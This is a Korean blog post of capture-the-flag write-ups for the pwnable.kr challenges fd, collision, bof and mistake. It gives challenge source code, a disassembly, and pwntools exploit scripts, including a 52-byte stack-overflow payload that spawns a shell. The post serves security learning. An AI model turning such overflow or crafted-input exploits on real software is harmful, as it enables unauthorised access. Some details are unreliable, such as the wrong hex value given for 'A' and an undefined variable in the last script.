본문 바로가기
OLD 2018 ~ 2021/BASIC → Hacking

[pwnable.kr] fd / collision / bof / mistake

by pogn 2018. 7. 10.

Hands-on Practice 실습
1. 개인 로컬 서버에 pwntools python 모듈 설치

설치 : pip install pwntools 
사용 : from pwn import * 


2-1. pwnable.kr fd

File Descriptor
리눅스에서 시스템이 할당하여 준 파일이나 소켓을 대표하는 정수이다. 
이 정소를 이용하여 파일에 접근할 수 있으며, 윈도우의 HANDLE과 비슷한 개념이다. 

이 중, 예약되어 있는 값이 있는데
표준입력 : 0         // 사용자 키보드 입력
표준출력 : 1         // 화면출력
표준 에러 출력 : 2 
이다. 

[ 문제 소스코드 ]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;
}

[ 문제 풀이 ]

위의 소스코드에서는 read 함수에서 argv[1]으로 받은 값을 정수로 변환하여 0x1234를 빼고 
이것을 파일 디스크립터로 활용한다. 
(atoi 함수는 숫자로 인식가능한 문자열까지를 숫자로 반환하는 함수) 

즉, 파일 디스크립터 값을 마음대로 줄 수 있다. 
read함수에서 파일입출력을 하기 위해서 리눅스에서는 

fd=open("./readtest",O_RDWR);

x = read(fd, buf, sizeof(buf));

이런식으로 open 함수를 통해 파일 디스크립터(=파일 포인터) 를 반환시켜서 사용한다. 

주의)) 윈도우에서는 
fd = fopen("test.txt","w");
x=fscanf(fd, "%d");  윈도우랑 리눅스랑 다르다. 

이 때에, fd를 0으로 지정하면 사용자가 입력하는 문자열을 표준입력으로 받는다.  
따라서, 0x1234의 decimal 값인 4660을 argv[1]으로 넣으면 문제가 풀린다. 
 // 0x1234로 입력값을 넣으면 atoi 함수를 거치면서 숫자로 인식되는 0 까지만 숫자로 변환된다. 




[ PWNTOOLS scipt ] 
from pwn import *
p = ssh("fd","pwnable.kr",2222,"guest")
path = "/home/fd/fd"
argv = "4660"
payload = [path,argv]
s = p.run(payload)
s.sendline('LETMEWIN')
s.interactive()




2-2. pwnable.kr collision
MD5 hash Collision
다른 문자열에 대한 동일한 hash 값이 발생하는 말한다. 
아래의 문제에서 4byte씩 나뉘어진 5개의 int가 각각 값이 달라도
더한 값을 계산하기 때문에 0x21DD09EC라는 같은 값이 나오는데, 
md5 해쉬충돌도 비슷한 원리로 일어나는 것 같다. 

[ 문제 소스코드 ]
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}
int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }
    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}



[ 문제 풀이 ]

위의 소스코드에서는 20byte의 문자열을 argv[1]으로 받아 check_password의 인자로 넣은 뒤,
본래 char*로 받아오는 argv[1]를 
해당 변수 안의 값을 int로 인식하게끔 형변환하여 저장하였다. ( --> 형변환의 개념 )

0x00
0x01
0x02
0x03
0x04
0x05
0x06
0x07
0x08
0x09
0x0A
0x0B
0x0C
0x0D
0x0E
0x0F
0x10



A
A
A
A
















0x41
0x41
0x41
0x41
















^                                       
ip[0]                                     ip[1]                                  ip[2]                                 ip[3]                    

그리고 이렇게 변환된 int포인터를 배열과 같이 접근하여 
해당 변수의 값을 int로 읽어들여서 5개 모두 더하여 res로 반환하며, 
res 값이  0x21DD09EC이 되어야 플래그가 출력된다.

0x21DD09EC를 5개의 int에 적당해 배분하기 위하여 5로 나누니,
0x6C5CEC8하고 4가 남았다. 
해당 값을 입력값으로 넣어주면 된다. 

0x6C5CEC8 과 0x6C5CECC에 해당하는 문자열이 없기에
python으로 직접 hex 값으로 넣는 방법을 찾을 수 있었다. 

python -c 'print " XXXX"'` 

int형 데이터가 메모리에 리틀엔디안으로 들어가는 것도 고려해서 값을 아래와 같이 넣어야 한다. 



[ PWNTOOLS scipt ] 
from pwn import *
p = ssh("col","pwnable.kr",2222,"guest")
path = "/home/col/col"
argv = "\xC8\xCE\xC5\x06\xC8\xCE\xC5\x06\xC8\xCE\xC5\x06\xC8\xCE\xC5\x06\xCC\xCE\xC5\x06"
payload = [path,argv]
s = p.run(payload)
s.interactive()



2-3. pwnable.kr bof

Buffer overflow
문자열의 끝을 체크하지 않는 함수에서 발생하는 취약점으로, 
실행파일은 변수의 값을 스택에 저장하는데,  
하나의 변수 값을 정해진 길이보다 길게 써서 다른 변수의 값을 조작할 수 있는 취약점이다. 


[ 문제 소스코드 ]
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}


[ 문제 풀이 ]

위의 소스코드에서는 func의 인자로 넘어온 int형 key의 0xdeadbeef라는 hex 값을
gets함수에서 overflowme라는 32문자열을 표준입력으로 받아서 
0xcafebabe로 바꾸면 풀리는 문제이다. 

gets 함수에서 문자열의 끝을 체크하지 않는다는 취약점을 이용해서 공격을 할 수 잇다. 

(gdb) disas func
Dump of assembler code for function func:
   0x5655562c <+0>:    push   %ebp
   0x5655562d <+1>:    mov    %esp,%ebp
   0x5655562f <+3>:    sub    $0x48,%esp
   0x56555632 <+6>:    mov    %gs:0x14,%eax
   0x56555638 <+12>:    mov    %eax,-0xc(%ebp)
   0x5655563b <+15>:    xor    %eax,%eax
   0x5655563d <+17>:    movl   $0x5655578c,(%esp)   // overflow me :
   0x56555644 <+24>:    call   0xf7e74ca0 <puts>

   0x56555649 <+29>:    lea    -0x2c(%ebp),%eax
   0x5655564c <+32>:    mov    %eax,(%esp)
=> 0x5655564f <+35>:    call   0xf7e743e0 <gets> 
 
   0x56555654 <+40>:    cmpl   $0xcafebabe,0x8(%ebp) //  if
   0x5655565b <+47>:    jne    0x5655566b <func+63>
   0x5655565d <+49>:    movl   $0x5655579b,(%esp)
   0x56555664 <+56>:    call   0xf7e4fda0 <system>

   0x56555669 <+61>:    jmp    0x56555677 <func+75>
   0x5655566b <+63>:    movl   $0x565557a3,(%esp)
   0x56555672 <+70>:    call   0xf7e74ca0 <puts>

   0x56555677 <+75>:    mov    -0xc(%ebp),%eax
   0x5655567a <+78>:    xor    %gs:0x14,%eax
   0x56555681 <+85>:    je     0x56555688 <func+92>
   0x56555683 <+87>:    call   0xf7f0c680 <__stack_chk_fail>

   0x56555688 <+92>:    leave  
   0x56555689 <+93>:    ret    
End of assembler dump.

gets 함수에서 인자로 받아오는 overflowme는 ebp에서 -0x2C만큼 떨어져 있다.
key는 func 함수 안에서 ebp+0x08에 위치한다. 

따라서 0x2C + 0x08 = 0x34 --> 52만큼을 덮고 0xcafebabe값을 넣어주면 key를 덮을 수 있을 것이다. 

pythoh으로 파이프라인을 줘서 출력된 값이 
nc pwnable.kr 9000의 표준입력으로 들어가게끔 해 주었다.  


[ PWNTOOLS scipt ] 
from pwn import *
p = remote("pwnable.kr",9000)
payload = "A"*52 + "\xbe\xba\xfe\xca"
p.sendline(payload)
p.interactive()
~               





2-4. pwnable.kr mistake 


[ 문제 소스코드 ]
#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
    int i;
    for(i=0; i<len; i++){
        s[i] ^= XORKEY;
    }
}
int main(int argc, char* argv[]){
    
    int fd;
    if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
// 비교연산자의 우선순위가 대입연산자의 우선순위보다 높다. 
        printf("can't open password %d\n", fd);
        return 0;
    }
    printf("do not bruteforce...\n");
    sleep(time(0)%20);
    char pw_buf[PW_LEN+1];
    int len;
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ 
        printf("read error\n");
        close(fd);
        return 0;        
    }
    char pw_buf2[PW_LEN+1];
    printf("input password : ");
    scanf("%10s", pw_buf2);
    // xor your input
    xor(pw_buf2, 10);

    if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\n");
        system("/bin/cat flag\n");
    }
    else{
        printf("Wrong Password\n");
    }
    close(fd);
    return 0;
}


[ 문제 풀이 ] 
pw_buf는 read함수가 /home/mistake/password 라는 경로에서 길이만큼 해당 파일을 읽어온다.

pw_buf2를 입력받아서 111111....과 xor 한다. 
pw_buf와 pw_buf2가 같으면 문제가 풀린다.
A(0x65) ^ 1 = @(0x64) 이므로  
아래와 같이 입력해 주면 문제가 풀린다. 



 PWNTOOLS scipt ] 
from pwn import *
path = "/home/mistake/mistake"
s = p.run(path)
s.recvuntil("...")
s.sendline("AAAAAAAAAA")
s.sendline("@@@@@@@@@@")
s.interactive()






'OLD 2018 ~ 2021 > BASIC → Hacking' 카테고리의 다른 글

[System Hacking ] PLT / GOT 영역  (0) 2018.07.10
180127_REVERSING(5)_key  (0) 2018.01.28
180121_REVERSING(4)_winme  (0) 2018.01.23
180118_[REVERSING]_닷지게임_안죽게_패치하기  (0) 2018.01.19
170119_REVERSING(3)_snake  (0) 2018.01.18

댓글